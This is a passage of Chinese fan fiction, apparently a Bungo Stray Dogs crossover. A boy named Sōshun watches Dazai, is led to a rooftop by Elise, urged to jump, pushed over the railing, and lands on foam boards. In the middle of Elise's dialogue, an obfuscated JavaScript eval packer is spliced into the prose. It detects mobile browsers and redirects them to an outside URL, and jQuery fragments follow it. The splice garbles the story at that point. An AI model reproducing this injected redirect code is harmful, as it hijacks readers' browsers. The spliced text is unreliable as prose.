因为早春想伸手碰碰他手腕上的绷带,他想知道那下面是不是藏着伤口。 太宰治看了他一会儿,笑着问:“你这种眼神,我见过很多次。怜悯?同情?还是觉得我可怜?” 早春摇头。他没资格怜悯、同情,更不觉得对方可怜,但他不知道怎么解释。 太宰治似乎也没指望他回答,转身走回沙发边,重新坐下,拿起那本书。 “森先生还在开会,你等一会儿吧。”他一边说,一边翻开书页,不再看早春。 广津柳浪见此,朝早春做了个“请坐”的手势,自己则走到门边站着,双手交叠在身前。 早春在离太宰治最远的沙发角落坐下,不过他的视线一直没离开太宰治。 绝望像黑色的雾气缠绕在少年周围,丝丝缕缕,几乎要凝结成实体。这种浓度的绝望,在联邦意味着这个人随时可能死去,或者更糟,把绝望传染给周围的人。 但太宰治看起来很正常,呼吸平稳,手指翻书的动作很稳,甚至有点百无聊赖。 早春想起系统说过,这个世界的绝望形式不太一样,更像可以触碰的伤口。 那么太宰治的绝望是什么伤口?为什么还在流血? 他正想着,会客室的门被推开了。 一个金色头发的小女孩蹦蹦跳跳地从另一侧小门走进来,她穿着红色的洋装,白色袜子和黑色皮鞋。看起来七八岁,脸颊红扑扑的,眼睛是清澈的蓝色。 “太宰!”她喊了一声,“你在看书吗?好无聊!” 太宰治头也没抬:“爱丽丝,安静点。” 被叫做爱丽丝的女孩撅了撅嘴,转头看见早春,她的眼睛瞬间亮晶晶。 爱丽丝小跑着过来,停在早春面前,歪着头看他。“你是新来的吗?”她问,声音甜甜的,“我以前没见过你。” 早春点点头。 “你喜欢太宰吗?”爱丽丝突然问,手指点着自己的下巴。 早春愣了一下,随即果断摇头。 爱丽丝眨了眨眼,然后笑起来。她伸出手,拉住早春的手腕。早春的手很凉,爱丽丝的手却是温热的,柔软的,像真正的小女孩的手。 “跟我来。”爱丽丝说,“我带你去个好地方。” 早春被她拉起来,跟着她往那扇小门走。广津柳浪动了动,似乎想说什么,太宰治还在看书,好像完全没注意到这边。 爱丽丝拉着早春穿过小门,外面是一条更窄的走廊,天花板很低,只有几盏壁灯亮着。 她脚步轻快地往前走,哼着不成调的歌。早春跟着她,转过几个弯,来到一扇铁门前。 爱丽丝踮起脚拧开门把手,门后是向上的楼梯。 “上面是天台。”她回头朝早春笑着说,“风景很好哦。” 早春跟着她爬了三层,才看见一扇门,爱丽丝眼疾手快地推开,然后刺眼的光线涌了进来。 天台上风很大,吹得早春的头发乱飞。 这里确实很高,能看见大半个横滨,远处的港口、近处的街道,还有那些在战争中损毁的建筑。 爱丽丝走到栏杆边,双手撑着栏杆,探出身去看了看,然后回头朝早春招手。 “过来呀。”她笑眯眯地说。 早春走过去站在她旁边,栏杆是铁的,漆成黑色,已经有些剥落,露出底下的锈迹。 往下看,地面上的车和人都变得很小,像玩具。 爱丽丝松开栏杆,转身面对早春。她仰起脸,蓝色的眼睛在阳光下显得很透亮。 “跳下去。”她的声音还是甜甜的。 早春没听爱丽丝的话,他站在原地没有任何动作。 “跳下去嘛。”爱丽丝又说,撒娇似地伸手推了推早春的胳膊,“很好玩的。” 早春摇头,实话实说,他做不到。 如果是因为害怕就好了。早春如是想。但很可惜,是因为他没资格死亡。 早春是“希望”,是被创造出来拯救别人的东西,所以早春的命不属于自己,属于那些需要被拉出绝望的人。 爱丽丝鼓起脸颊,似乎有点生气。“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416264|200775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么不能满足爱丽丝的愿望呢?” 她说完后,生气地用脚在地上轻轻跺了跺。 早春垂下眼睛,看着小女孩红色的皮鞋。 “很好听的名字。”他试图让语气变得真诚。 【她是异能。】系统的声音突然响起。 早春当然能看出来爱丽丝不是真实的人类,她的存在有种微妙的不协调感,像一幅画得很逼真的肖像,但仔细看就能发现笔触。 可那又怎么样呢?爱丽丝看起来是小女孩,说话像小女孩,会笑会生气。 在早春眼里,所有需要帮助的存在,都值得被帮助。 爱丽丝又推了他一下,这次用力了点。早春的身体晃了晃,脚却没挪动半分。 这让爱丽丝皱起眉,突然整个人撞过来,双手抵在早春腰上,用尽全力一推。 早春瞬间往后倒去,由于栏杆在他的后腰处,高度刚好到他的腰部。以至于他被这一推撞得失去平衡,上半身向后仰,重心移出栏杆外。 他下意识伸手想抓住什么,只可惜手指擦过铁栏杆,却没抓住,整个人都翻了过去。 风声在耳边呼啸起来。 世界颠倒,天空在下,地面在上。 早春看见爱丽丝趴在栏杆边往下看,金色头发被风吹乱,脸上没什么表情。 然后他看见大楼的窗户一层层往上掠,还有远处天空的灰色云层,自己的白色头发向上飘起。 坠落的过程其实很短,但早春的脑子转得很快。 他想,如果就这样摔死,那些孩子怎么办。他们会不会等他回去,等到天黑,等到明天,等到面包吃完水喝完。 他们会哭吗?还是会去找下一个所谓的“白幽灵”? 然后他又想,太宰治还在会客室里看书。他身上的绝望还是那么浓,一点没变。 【她是异能?】系统的声音响起来,这次带着明显的怒意和不解,【为什么不躲?】 是啊,为什么不躲? 早春在空中翻了个身,变成面朝下的姿势。地面急速接近,水泥地面上的裂缝都能看清了。 早春眼不见为净地闭上眼睛,然后他撞进了什么东西里。 像一堆厚厚的海绵,又像充气垫。冲击力被缓冲掉大半,早春陷进去,又被弹起一点,最后侧着摔在地上。 尽管落地时左肩先着地,一阵钝痛传来,但骨头应该没断。 他躺在那里,喘了几口气,才睁开眼睛。 早春落在一堆建筑废料上,具体来说,是一大堆用来做隔音材料的泡沫板。 这些板子原本可能堆在楼后的空地上,用防水布盖着,但不知怎么防水布被风吹开了,泡沫板散落一地,堆成小山。 然后早春正好掉在上面。 他坐起来,检查了一下身体。左肩很痛,活动受限,可能拉伤了。右手掌擦破皮,渗出血丝。除此之外,没什么大碍。 头顶传来脚步声和说话声。 早春抬头,看见几个人从大楼后门冲出来,穿着黑西装,跑在最前面的是广津柳浪。他们跑到泡沫板堆边,看见早春坐着,都停下脚步,脸上表情复杂。 广津柳浪第一个反应过来,他蹲下身询问:“您受伤了吗?” 早春摇摇头,又点点头,指了指左肩。广津柳浪朝身后的人做了个手势,两个人上前,小心地把早春扶起来。 早春站直时左肩抽痛了一下,他不由皱起眉。 “医疗班马上到。”广津柳浪说话时不自觉抬头看了看楼顶,又看回早春,他的眼神很复杂。“请先跟我回室内。” 早春被扶着走进大楼后门。进门时他回头看了一眼那堆泡沫板,白色的板子散得到处都是,中间有个人形的凹陷。 风吹过,卷起几片碎屑。 早春知道系统还在生气,但他暂时不想回答系统的问题。